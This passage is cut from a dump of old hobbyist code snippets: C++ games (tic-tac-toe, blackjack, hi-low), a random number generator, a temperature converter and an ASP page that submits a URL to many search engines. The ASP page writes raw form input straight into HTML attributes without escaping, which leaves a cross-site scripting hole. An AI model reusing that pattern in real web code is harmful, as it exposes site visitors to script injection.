0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == O && Board[0][2] == O && Board[0][1] == 0)\n\t{\n\t\tBoard[0][1] = O; return;\n\t}\n\t//Second Row\n\tif( Board[1][0] == O && Board[1][1] == O && Board[1][2] == 0)\n\t{\n\t\tBoard[1][2] = O; return;\n\t}\n\tif( Board[1][2] == O && Board[1][1] == O && Board[1][0] == 0)\n\t{\n\t\tBoard[1][0] = O; return;\n\t}\n\tif( Board[1][0] == O && Board[1][2] == O && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Third Row\n\tif( Board[2][0] == O && Board[2][1] == O && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == O && Board[2][1] == O && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == O && Board[2][2] == O && Board[2][1] == 0)\n\t{\n\t\tBoard[2][1] = O; return;\n\t}\n\t//First Column\n\tif( Board[0][0] == O && Board[1][0] == O && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == O && Board[1][0] == O && Board[0][0] == 0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == O && Board[2][0] == O && Board[1][0] == 0)\n\t{\n\t\tBoard[1][0] = O; return;\n\t}\n\t//Second Column\n\tif( Board[0][1] == O && Board[1][1] == O && Board[2][1] == 0)\n\t{\n\t\tBoard[2][1] = O; return;\n\t}\n\tif( Board[2][1] == O && Board[1][1] == O && Board[0][1] == 0)\n\t{\n\t\tBoard[0][1] = O; return;\n\t}\n\tif( Board[0][1] == O && Board[2][1] == O && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Third Column\n\tif( Board[0][2] == O && Board[1][2] == O && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == O && Board[1][2] == O && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[0][2] == O && Board[2][2] == O && Board[1][2] == 0)\n\t{\n\t\tBoard[1][2] = O; return;\n\t}\n\t//Diag\n\tif( Board[0][0] == O && Board[1][1] == O && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == O && Board[1][1] == O && Board[0][0] == 0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == O && Board[2][2] == O && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Diag\n\tif( Board[0][2] == O && Board[1][1] == O && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == O && Board[1][1] == O && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[2][0] == O && Board[0][2] == O && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n//Block X's Win\n\n\t//First Row\n\tif( Board[0][0] == X && Board[0][1] == X && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[0][2] == X && Board[0][1] == X && Board[0][0] == 0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == X && Board[0][2] == X && Board[0][1] == 0)\n\t{\n\t\tBoard[0][1] = O; return;\n\t}\n\t//Second Row\n\tif( Board[1][0] == X && Board[1][1] == X && Board[1][2] == 0)\n\t{\n\t\tBoard[1][2] = O; return;\n\t}\n\tif( Board[1][2] == X && Board[1][1] == X && Board[1][0] == 0)\n\t{\n\t\tBoard[1][0] = O; return;\n\t}\n\tif( Board[1][0] == X && Board[1][2] == X && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Third Row\n\tif( Board[2][0] == X && Board[2][1] == X && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == X && Board[2][1] == X && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == X && Board[2][2] == X && Board[2][1] == 0)\n\t{\n\t\tBoard[2][1] = O; return;\n\t}\n\t//First Column\n\tif( Board[0][0] == X && Board[1][0] == X && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == X && Board[1][0] == X && Board[0][0] == 0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == X && Board[2][0] == X && Board[1][0] == 0)\n\t{\n\t\tBoard[1][0] = O; return;\n\t}\n\t//Second Column\n\tif( Board[0][1] == X && Board[1][1] == X && Board[2][1] == 0)\n\t{\n\t\tBoard[2][1] = O; return;\n\t}\n\tif( Board[2][1] == X && Board[1][1] == X && Board[0][1] == 0)\n\t{\n\t\tBoard[0][1] = O; return;\n\t}\n\tif( Board[2][1] == X && Board[0][1] == X && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Third Column\n\tif( Board[0][2] == X && Board[1][2] == X && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == X && Board[1][2] == X && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[0][2] == X && Board[2][2] == X && Board[1][2] == 0)\n\t{\n\t\tBoard[1][2] = O; return;\n\t}\n\t//Diag\n\tif( Board[0][0] == X && Board[1][1] == X && Board[2][2] == 0)\n\t{\n\t\tBoard[2][2] = O; return;\n\t}\n\tif( Board[2][2] == X && Board[1][1] == X && Board[0][0] == 0)\n\t{\n\t\tBoard[0][0] = O; return;\n\t}\n\tif( Board[0][0] == X && Board[2][2] == X && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\t//Diag\n\tif( Board[0][2] == X && Board[1][1] == X && Board[2][0] == 0)\n\t{\n\t\tBoard[2][0] = O; return;\n\t}\n\tif( Board[2][0] == X && Board[1][1] == X && Board[0][2] == 0)\n\t{\n\t\tBoard[0][2] = O; return;\n\t}\n\tif( Board[2][0] == X && Board[0][2] == X && Board[1][1] == 0)\n\t{\n\t\tBoard[1][1] = O; return;\n\t}\n\tint xx = 0, yy = 0, ok = 0, i = 0;\n\txx = number_range(0, 2);\n\tyy = number_range(0,2);\n\t\t\n\tdo\n\t{\n\t\tif( Board[xx][yy] == 0 )\n\t\t{\n\t\t\tBoard[xx][yy] = O;\n\t\t\tbreak;\n\t\t}\n\t\telse \n\t\t{\n\t\t\txx = number_range(0,2);\n\t\t\tyy = number_range(0,2);\n\t\t\tcout << \"Thinking...\" << endl;\n\t\t}\n\t}while ( i != -11);\n}\n/*\n * This is the Mitchell-Moore algorithm from Knuth Volume II. \n */\nstatic\tint\trgiState[2+55];\nvoid init_mm( )\n{\n int *piState;\n int iState;\n piState\t= &rgiState[2];\n piState[-2]\t= 55 - 55;\n piState[-1]\t= 55 - 24;\n piState[0]\t= ( (int) time( NULL ) ) & ( ( 1 << 30 ) - 1 );\n piState[1]\t= 1;\n for ( iState = 2; iState < 55; iState++ )\n {\n\tpiState[iState] = ( piState[iState-1] + piState[iState-2] )\n\t\t\t& ( ( 1 << 30 ) - 1 );\n }\n return;\n}\n\nint number_mm( void )\n{\n int *piState;\n int iState1;\n int iState2;\n int iRand;\n piState\t\t= &rgiState[2];\n iState1\t \t= piState[-2];\n iState2\t \t= piState[-1];\n iRand\t \t= ( piState[iState1] + piState[iState2] )\n\t\t\t& ( ( 1 << 30 ) - 1 );\n piState[iState1]\t= iRand;\n if ( ++iState1 == 55 )\n\tiState1 = 0;\n if ( ++iState2 == 55 )\n\tiState2 = 0;\n piState[-2]\t\t= iState1;\n piState[-1]\t\t= iState2;\n return iRand >> 6;\n}\n/*\n * Generate a random number.\n */\nint number_range( int from, int to )\n{\n int power;\n int number;\n if ( ( to = to - from + 1 ) <= 1 )\n\treturn from;\n for ( power = 2; power < to; power <<= 1 )\n\t;\n while ( ( number = number_mm( ) & ( power - 1 ) ) >= to )\n\t;\n return from + number;\n}\n"},{"WorldId":4,"id":6178,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":238,"LineNumber":1,"line":"//This game simulates a simplified version of the card game 21\n#include <iostream.h>//include neccesary libraries\n#include <stdlib.h>\n#include <time.h>\nint you1,you2,you3, c1, c2, c3,ans,you,comp,ans2,youpoint,comppoint,drawpoint; \n//you1,2,3 are random #'s for player, C1,2,3 are random #'s for computer\n// ans is # of cards, you and comp are total scores, youpoint compoint and drawpoint are total points for each\nchar yesno;//used to loop program\nint main()\n{\nyesno='y';\ncomppoint=0;\nyoupoint=0;\ndrawpoint=0;//declares variable starting point\ncout << \"Ryan Fogarty\" << endl << \"Lab 21 Game\" <<endl<<\"Nov, 11, 1999\"<<endl<<\"This Program Simlulates the Card Game 21\\n\";\nwhile ((yesno=='y')||(yesno=='Y'))// loop \n{\n\tcout <<\"How many cards do you want?\\n\";\n\tcin >> ans;\n\tsrand (time(NULL));// generates random #'s for comp and player\n\tyou1 =(rand()%(10)) +1; //from 1 to 10\n\tyou2 =(rand()%(10)) +1; //from 1 to 10\n\tyou3 =(rand()%(10)) +1; //from 1 to 10\n\tc1 =(rand()%(10)) +1; //from 1 to 10\n\tc2 =(rand()%(10)) +1; //from 1 to 10\n\tc3=(rand()%(10)) +1; //from 1 to 10 \n\tif (ans==1)\n\t\t{\n\t\tcout <<\"You: \"<< you1 <<endl;\n\t\tcout <<\"Computer: \"<<c1<<\" \"<<c2<<\" \"<<c3<<endl;\n\t\tyou = you1 ;\n\t\tcomp = c1 + c2 + c3;\n\t\t}\n\telse if (ans==2)\n\t\t{\n\t\tcout <<\"You: \"<< you1 <<\" \"<<you2<<endl;\n\t\tcout <<\"Computer: \"<<c1<<\" \"<<c2<<\" \"<<c3<<endl;\n\t\tyou = you1 + you2;\n\t\tcomp = c1 + c2 + c3;\n\t\t}\n\telse if (ans==3)\n\t\t{\n\t\tcout <<\"You: \"<< you1 <<\" \"<<you2<<\" \"<<you3<<endl;\n\t\tcout <<\"Computer: \"<<c1<<\" \"<<c2<<\" \"<<c3<<endl;\n\t\tyou = you1 + you2 +you3;\n\t\tcomp = c1 + c2 + c3;\n\t\t}//if statement used to tell how many cards were chosen\n\t\tif ((you > comp)&&(you<=21)||(comp>21))\n\t\t\t{\n\t\t\tcout <<\"I have \" <<comp<<\" and you have \"<<you<<\" so you win.\"<<endl;\n\t\t\tyoupoint++;\n\t\t\t}\n\t\telse if ((comp > you)&&(comp<=21)||(you>21))\n\t\t\t{\n\t\t\tcout <<\"I have \" <<comp<<\" and you have \"<<you<<\" so I win.\"<<endl;\n\t\t\tcomppoint++;\n\t\t\t}\n\t\telse if ((comp == you))\n\t\t\t{\n\t\t\tcout <<\"I have \" <<comp<<\" and you have \"<<you<<\" so we draw.\"<<endl;\n\t\t\tdrawpoint++;\n\t\t\t}// statement tells who won and adds on total points\n\t\tcout <<\"Would you like to play again? (Y/N)?\";//to restart loop or not\n\t\tcin >> yesno;\n\t\tcout << endl;\n\n\t}\n\tcout << \"\\nComputer Wins = \"<<comppoint<<endl;\n\tcout << \"Your Wins = \"<< youpoint<<endl;\n\tcout << \"Draws = \"<< drawpoint<< endl;// shows total amount of points\n\treturn 0;\n}\n"},{"WorldId":3,"id":259,"LineNumber":1,"line":"#include <iostream.h>\n#include <conio.h>\ndouble ctof(double x);\ndouble ftoc(double x);\nvoid ftocf();\nvoid ender();\nvoid ctoff();\nint op;\nvoid main ()\n{\nop=0;\ncout<<\"Select an Option:\"<<endl;\ncout<<\" 1 for F to C\"<<endl;\ncout<<\" 2 for C to F\"<<endl;\ncout<<\" 3 To End\"<<endl;\ncin>>op;\nif(op==1) ftocf();\nif(op==2) ctoff();\nif(op==3) ender();\n}\nvoid ctoff()\n{\nint x;\ncout<<\"Enter Degrees Celcius to Make Into Fahrenheit:\"<<endl;\ncin>>x;\ncout<<\"Result: \"<<ctof(x)<<endl<<endl;\nmain();\n}\nvoid ftocf()\n{\nint y;\ncout<<\"Enter Degrees Fahrenheit to Make Into Celcius:\"<<endl;\ncin>>y;\ncout<<\"Result: \"<<ftoc(y)<<endl<<endl;\nmain();\n}\ndouble ctof(double x)\n{\n\treturn ((x*1.8)+32);\n}\ndouble ftoc(double y)\n{\n\treturn ((y-32)/1.8);\n}\nvoid ender()\n{\n\tcout<<\"Press Any Key to Exit\"<<endl;\n\tgetch();\n}"},{"WorldId":3,"id":411,"LineNumber":1,"line":"void Delay(DWORD nTimeMs)\n{\n\tMSG msg;\n\tDWORD endTick;\n\tendTick = GetTickCount() + nTimeMs;\n\twhile(GetTickCount() < endTick)\n\t{\n\t\tif(PeekMessage(&msg, NULL, 0, 0, TRUE))\n\t\t{\n\t\t\tTranslateMessage(&msg);\n\t\t\tDispatchMessage(&msg);\n\t\t}\n\t}\n\treturn;\n}"},{"WorldId":3,"id":260,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":314,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":286,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":271,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":284,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":291,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":288,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":292,"LineNumber":1,"line":"// Hi-Low Program\tDavid Javaheri\t2-8-99\n#include <stdlib.h>\n#include <iostream.h>\n#include <time.h>\nmain()\n{\nint\tnum, guess;\nsrand( (unsigned) time(NULL) ); //Seeds rand()\nnum=(rand()%100)+1;\ncout<<\"Guess a number between 1 and 100\"<<endl;\ncin>>guess;\nwhile(guess!=num)\n{\n\tif(guess<num)\n\t{\n\t\tcout<<\"Too Low. Try Again\"<<endl;\n\t\tcin>>guess;\n\t}\n\t\n\tif(guess>num)\n\t{\n\t\tcout<<\"Too High. Try Again\"<<endl;\n\t\tcin>>guess;\n\t}\n}\n\t\nif(guess==num)\n{\n\tcout<<\"You Are Correct\"<<endl;\n}\nreturn 0;\n}\n"},{"WorldId":4,"id":41,"LineNumber":1,"line":"<%Response.Expires = -1\nResponse.AddHeader \"Pragma\", \"no-cache\"\nResponse.AddHeader \"cache-control\", \"no-store\"\n%>"},{"WorldId":4,"id":50,"LineNumber":1,"line":"Copy this form to your page\n \n<FORM METHOD=POST ACTION=\"/cgi-bin/Submit.asp\"> \n<table border=1 cellpadding=5 bgcolor=\"#EEEEEE\"> \n<tr><td align=center> \n<table> \n<tr><td>Your name:</td><td><INPUT name=\"name\" maxlength=256 size=35 type=text></td></tr><tr><td>E-mail:</td><td><INPUT name=\"email\" maxlength=256 size=35 type=text></td></tr><tr><td>Page Title:</td><td><INPUT name=\"title\" maxlength=256 size=35 type=text></td></tr><tr><td>URL:</td><td><INPUT name=\"url\" maxlength=256 size=35 type=text value=\"http://\"></td></tr><tr><td>Description:</td><td><INPUT name=\"description\" maxlength=256 size=35 type=text></td></tr> \n</table> \n<input type=submit value=\"Submit\"> \n<A HREF=\"http://www.submitside.com/included\">Search engines included in the submission area</A> \n</td></tr></table> \n</FORM> \n\n\n\nThe content in this table must be save as \"submit.asp\" in the cgi-bin directory \n<html><head><title>Submission area</title></head> \n<body bgcolor=\"#FFFFFF\"> \n<center> \n \n<table border=1 width=480> \n<tr><td align=center> \nAutomatic submission to 10 search engines \n \n<A HREF=\"http://altavista.digital.com\">Altavista</A> \n<A HREF=\"http://www.excite.com\">Excite</A> \n<A HREF=\"http://www.infoseek.com\">InfoSeek</A> \n<A HREF=\"http://www.lycos.com\">Lycos</A> \n<A HREF=\"http://www.whatuseek.com\">What-U-Seek</A> \n<A HREF=\"http://www.hotbot.com\">HotBot</A> \n<A HREF=\"http://webcrawler.com\">WebCrawler</A> \n<A HREF=\"http://netfind.aol.com\">AOL NetFind</A> \n<A HREF=\"http://www.goto.com/\">GoTo.com</A> \n<A HREF=\"http://www.northernlight.com\">Northern Light</A> \n<form method=\"POST\" action=\"http://www.free-banners.com/cgi-bin/fb/submit/reg.cgi\" target=\"new\"> \n \n<input type=hidden name=\"engine2\" value=\"2\"> \n<input type=hidden name=\"engine5\" value=\"5\"> \n<input type=hidden name=\"engine9\" value=\"9\"> \n<input type=hidden name=\"engine4\" value=\"4\"> \n<input type=hidden name=\"engine7\" value=\"7\"> \n<input type=hidden name=\"engine0\" value=\"0\"> \n<input type=hidden name=\"engine1\" value=\"1\"> \n<input type=hidden name=\"engine3\" value=\"3\"> \n<input type=hidden name=\"engine6\" value=\"6\"> \n<input type=hidden name=\"engine8\" value=\"8\"> \n<input type=hidden name=\"title\" value=\"<% =REQUEST.FORM(\"title\") %>\"> \n<input type=hidden value=\"<% =REQUEST.FORM(\"url\") %>\" name=\"url\"> \n<input type=hidden value=\"<% =REQUEST.FORM(\"name\") %>\" name=\"name\"> \n<input type=hidden value=\"<% =REQUEST.FORM(\"email\") %>\" name=\"email\"> \n<input type=\"hidden\" name=\"service\" value=\"Url Submission\"> \n<input type=\"submit\" value=\" Submit\"> \nService provided by \n<a href=\"http://www.free-banners.com\" target=\"newa\">Free Banners</a> \n</form> \n</td></tr></table> \n<table border=1 width=480> \n<tr><td align=center> \n<FORM METHOD=GET ACTION=\"http://www.anzwers.com.au/cgi-bin/print_addurl.pl\" target=new2> \n<A HREF=\"http://www.anzwers.com.au\">Anzwers</A> \n<INPUT TYPE=hidden VALUE=\"<% =REQUEST.FORM(\"url\") %>\" name=\"url\"> \n<INPUT TYPE=hidden VALUE=\"<% =REQUEST.FORM(\"email\") %>\" name=\"email\"> \n<INPUT TYPE=submit VALUE=\"Submit\"> \n</form> \n</td><td align=center> \n<FORM METHOD=POST ACTION=\"http://magellan.mckinley.com/cgi/add_url.cgi\" \nENCTYPE=multipart/form-data target=new3> \n<A HREF=\"http://magellan.mckinley.com\">Magellan</A> \n<INPUT TYPE=hidden NAME=\"url\" VALUE=\"<% =REQUEST.FORM(\"url\") %>\"> \n<INPUT TYPE=hidden NAME=\"email\" VALUE=\"<% =REQUEST.FORM(\"email\") %>\"> \n<INPUT TYPE=SUBMIT VALUE=\"Submit\"> \n</FORM> \n</td><td align=center> \n<FORM ACTION=http://www.planetsearch.com/ METHOD=GET target=new5> \n<A HREF=\"http://www.planetsearch.com/\">PlanetSearch</A> \n<INPUT TYPE=hidden NAME=a VALUE=20> \n<INPUT TYPE=hidden NAME=flags VALUE=3> \n<INPUT TYPE=hidden NAME=count VALUE=10> \n<INPUT TYPE=hidden NAME=olda VALUE=0> \n<INPUT TYPE=hidden NAME=url VALUE=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<INPUT TYPE=submit value=\"Submit\"> \n</FORM> \n</td><td align=center> \n<form action=\"http://www.infomak.com/add_url.sh\" method=GET target=new6> \n<A href=\"http://www.infomak.com\">Infomak</A> \n<input type=hidden name=\"url\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<input type=hidden name=\"Page\" value=\"url\"> \n<input type=submit value=\"Submit\"> \n</FORM> \n \n</td></tr> \n</table> \n \n<table border=1 width=480 cols2> \n<tr><td align=center> \n<form action=\"http://findlink.com/searchit/bulk-addurl.cgi\" method=\"GET\" target=new7> \n<input type=hidden name=\"recipient\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input type=hidden name=\"linkaddr\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<select name=\"category\"> \n<OPTION VALUE=\"\">Select Category \n<OPTION VALUE=\"catx3dx=Arts\">Arts \n<OPTION VALUE=\"catx3dx=Automotive\">Automotive \n<OPTION VALUE=\"catx3dx=Business\">Business \n<OPTION VALUE=\"catx3dx=Chat\">Chat \n<OPTION VALUE=\"catx3dx=Computers\">Computers \n<OPTION VALUE=\"catx3dx=Education\">Education \n<OPTION VALUE=\"catx3dx=Employment\">Employment \n<OPTION VALUE=\"catx3dx=Entertainment\">Entertainment \n<OPTION VALUE=\"catx3dx=Finance\">Finance \n<OPTION VALUE=\"catx3dx=Games\">Games \n<OPTION VALUE=\"catx3dx=Gardening\">Gardening \n<OPTION VALUE=\"catx3dx=Health\">Health \n<OPTION VALUE=\"catx3dx=Internet\">Internet \n<OPTION VALUE=\"catx3dx=Kids\">Kids \n<OPTION VALUE=\"catx3dx=Life\">Life \n<OPTION VALUE=\"catx3dx=Music\">Music \n<OPTION VALUE=\"catx3dx=News\">News \n<OPTION VALUE=\"catx3dx=Personal_Pages\">Personal_Pages \n<OPTION VALUE=\"catx3dx=Realestate\">Realestate \n<OPTION VALUE=\"catx3dx=Recreation\">Recreation \n<OPTION VALUE=\"catx3dx=Reference\">Reference \n<OPTION VALUE=\"catx3dx=Science\">Science \n<OPTION VALUE=\"catx3dx=Services\">Services \n<OPTION VALUE=\"catx3dx=Shopping\">Shopping \n<OPTION VALUE=\"catx3dx=Software\">Software \n<OPTION VALUE=\"catx3dx=Sports\">Sports \n<OPTION VALUE=\"catx3dx=Travel\">Travel</select> \n<input type=hidden name=\"sitename\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=hidden name=\"description\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=\"submit\" value=\"Submit\"> \n<input type=hidden name=submitter value=\"submitside.com\"> \n<input type=hidden name=submitterhttp value=\"http://submitside.com\"> \n<a href=\"http://www.findlink.com/\">FindLink</a> \n</form> \n</td><td align=center> \n<form action=\"http://questfinder.com/search/bulk-addurl.cgi\" method=\"GET\" target=new9> \n<input type=hidden name=\"recipient\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input type=hidden name=\"linkaddr\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<select name=\"category\"> \n<OPTION VALUE=\"\">Select Category<OPTION VALUE=\"catx3dx=Adults_Only\">Adults_Only<OPTION VALUE=\"catx3dx=Advertising\">Advertising<OPTION VALUE=\"catx3dx=Animals\">Animals<OPTION VALUE=\"catx3dx=Arts\">Arts<OPTION VALUE=\"catx3dx=Auctions\">Auctions<OPTION VALUE=\"catx3dx=Business\">Business<OPTION VALUE=\"catx3dx=Chat\">Chat<OPTION VALUE=\"catx3dx=Classifieds\">Classifieds<OPTION VALUE=\"catx3dx=Communications\">Communications<OPTION VALUE=\"catx3dx=Community\">Community<OPTION VALUE=\"catx3dx=Computers\">Computers \n<OPTION VALUE=\"catx3dx=Consumer\">Consumer<OPTION VALUE=\"catx3dx=Education\">Education \n<OPTION VALUE=\"catx3dx=Employment\">Employment<OPTION VALUE=\"catx3dx=Entertainment\">Entertainment<OPTION VALUE=\"catx3dx=Events\">Events \n<OPTION VALUE=\"catx3dx=Ezines\">Ezines<OPTION VALUE=\"catx3dx=Finance\">Finance \n<OPTION VALUE=\"catx3dx=Freebies\">Freebies<OPTION VALUE=\"catx3dx=Games\">Games<OPTION VALUE=\"catx3dx=Government\">Government<OPTION VALUE=\"catx3dx=Health\">Health<OPTION VALUE=\"catx3dx=Hobbies\">Hobbies<OPTION VALUE=\"catx3dx=Home\">Home<OPTION VALUE=\"catx3dx=Internet\">Internet<OPTION VALUE=\"catx3dx=Kids\">Kids<OPTION VALUE=\"catx3dx=Legal\">Legal<OPTION VALUE=\"catx3dx=Life\">Life<OPTION VALUE=\"catx3dx=MLM\">MLM<OPTION VALUE=\"catx3dx=Manufacturing\">Manufacturing<OPTION VALUE=\"catx3dx=Medical\">Medical<OPTION VALUE=\"catx3dx=Music\">Music<OPTION VALUE=\"catx3dx=News\">News<OPTION VALUE=\"catx3dx=Personal_Pages\">Personal_Pages<OPTION VALUE=\"catx3dx=Pets\">Pets<OPTION VALUE=\"catx3dx=Products\">Products<OPTION VALUE=\"catx3dx=Publishing\">Publishing<OPTION VALUE=\"catx3dx=Real_Estate\">Real_Estate \n<OPTION VALUE=\"catx3dx=Recreation\">Recreation<OPTION VALUE=\"catx3dx=Reference\">Reference \n<OPTION VALUE=\"catx3dx=Religion\">Religion<OPTION VALUE=\"catx3dx=Science\">Science<OPTION VALUE=\"catx3dx=Services\">Services<OPTION VALUE=\"catx3dx=Shopping\">Shopping<OPTION VALUE=\"catx3dx=Software\">Software<OPTION VALUE=\"catx3dx=Sports\">Sports<OPTION VALUE=\"catx3dx=Technology\">Technology<OPTION VALUE=\"catx3dx=Transportation\">Transportation \n<OPTION VALUE=\"catx3dx=Travel\">Travel<OPTION VALUE=\"catx3dx=Wholesale\">Wholesale</select> \n<input type=hidden name=\"sitename\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=hidden name=\"description\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=\"submit\" value=\"Submit\"> \n<input type=hidden name=submitter value=\"submitside.com\"> \n<input type=hidden name=submitterhttp value=\"http://submitside.com\"> \n<A HREF=\"http://www.questfinder.com\">QuestFinder</A> \n</form> \n</tr><tr> \n<td colspan=2 align=center> \n \n<form action=\"http://www.webgremlin.com/cgi-bin/links/add.cgi\" method=\"POST\" target=new8> \n<input type=hidden name=\"Title\" value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=hidden name=\"URL\" value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<SELECT NAME=\"Category\" SIZE=1><OPTION>Select Category<OPTION>Art_and_Graphics<OPTION>Astrology<OPTION>Auctions \n<OPTION>Autos_and_More<OPTION>Beauty_and_Fashion<OPTION>Books<OPTION>Business_Opportunities \n<OPTION>Careers_and_Jobs<OPTION>Classifieds_Ads<OPTION>Computers<OPTION>Computers/Hardware \n<OPTION>Computers/Software<OPTION>Education<OPTION>Electronics<OPTION>Entertainment \n<OPTION>Family_Friendly<OPTION>Finance<OPTION>Food_and_Wine<OPTION>Free_Stuff \n<OPTION>Gambling<OPTION>Games<OPTION>Games/Computer<OPTION>Games/Nintendo \n<OPTION>Games/Playstation<OPTION>Games/Sega<OPTION>Gay<OPTION>General_Interest \n<OPTION>Health_and_Fitness<OPTION>Internet_Related<OPTION>Internet_Related/Internet_Tools \n<OPTION>Internet_Related/Service_Providers<OPTION>Internet_Related/Website_Design \n<OPTION>Internet_Related/Website_Hosting<OPTION>Legal<OPTION>Magazines \n<OPTION>Movies_and_Cinema<OPTION>Music<OPTION>NC_17<OPTION>Office \n<OPTION>Real_Estate<OPTION>Retail_Sites<OPTION>Romance<OPTION>Romance/Flowers \n<OPTION>Romance/Personals<OPTION>Sports<OPTION>Toys<OPTION>Travel<OPTION>Video \n<OPTION>Webmasters<OPTION>Webmasters/Adult_Webmasters</SELECT> \n<input type=hidden name=\"Description\" value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=hidden name=\"Contact Name\" value=\"<% =REQUEST.FORM(\"name\") %>\"> \n<input type=hidden name=\"Contact Email\" value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input type=\"hidden\" name=\"Rating\" Value=\"0\"> \n<input type=\"hidden\" name=\"Votes\" value=\"0\"> \n<input type=\"SUBMIT\" value=\"Submit\"> \n <a href=\" http://www.webgremlin.com \">WebGremlin</a> \n</form> \n</td></tr></table> \n<table><tr> \n<td nowrap> \n<form action=\"http://www.websitegarage.com/bin/go\" METHOD=\"POST\" target=new11> \nTune Up Your Web Site Free: \n<input type=\"text\" name=\"url\" size=\"20\" maxlength=\"100\" value=\"<% =REQUEST.FORM(\"url\") %>\"> \n<input type=\"hidden\" name=\"istate\" value=\"start\"> \n<input type=\"hidden\" name=\"util\" value=\"page_summary\"> \n<input type=\"hidden\" name=\"banner\" value=\"reff267022e\"> \n<input type=\"submit\" value=\"Go!\"> \n</form></td></tr></table> \n<table border=1 width=480> \n<tr><td align=center> \n<form method=post action=\"http://www.submitside.com/cgi-bin/i/add.asp\" target=new20> \n<SELECT NAME=\"w\"> \n<option>Select_Category<option>Advertising<option>Agriculture \n<option>Animals_Ecology<option>Architecture<option>Arts \n<option>Astrology<option>Auctions<option>Beauty_and_Fashion \n<option>Books_Magazines<option>Business<option>Careers_and_Jobs \n<option>Cars_Motorcycles<option>Chat<option>Computers_Hardware \n<option>Computers_Software<option>Computer_Games \n<option>Entertainment<option>Events<option>Fiction \n<option>Food_Beverage<option>Freebies<option>Gardening \n<option>General_Interest<option>Health_Fitness<option>Hobbies \n<option>Home<option>Humor<option>Internet<option>Internet_Design \n<option>Internet_Freebies<option>Internet_Hosting \n<option>Internet_Tools<option>Kids<option>Maps \n<option>Miscellaneous<option>Movies<option>Music \n<option>News<option>Personal_Pages<option>Photography \n<option>Romance_Flowers<option>Romance_Personals \n<option>Science<option>Shopping<option>Sports \n<option>Technology<option>Travel \n</SELECT> \n<input type=hidden name=title value=\"<% =REQUEST.FORM(\"TITLE\") %>\"> \n<input type=hidden name=url value=\"<% =REQUEST.FORM(\"url\") %>\"> \n<input type=hidden name=description value=\"<% =REQUEST.FORM(\"description\") %>\"> \n<input type=submit value=\"Submit\"> \n<A HREF=\"http://www.submitside.com/links\">Huge Link Page</A> \n</form> \n</td></tr><tr><td align=center> \n<form NAME=\"aa\" action=\"http://rex.skyline.net/add/add.cgi\" method=POST target=new13> \n<input type=hidden name=thispage value=2> \n<input type=hidden name=cat value=\"\"> \n<input type=hidden name=catnum value=\"\"> \n<input type=hidden name=navigate value=\"\"> \n<input type=hidden name=confirm value=\"\"> \n<input type=hidden name=urlfail value=\"\"> \n<input type=hidden name=refer value=\"http://submitside.com\"> \n<input type=hidden name=url value=\"<% =REQUEST.FORM(\"URL\") %>\"> \n<input type=hidden name=yourname value=\"<% =REQUEST.FORM(\"NAME\") %>\"> \n<input type=hidden name=email value=\"<% =REQUEST.FORM(\"EMAIL\") %>\"> \n<input 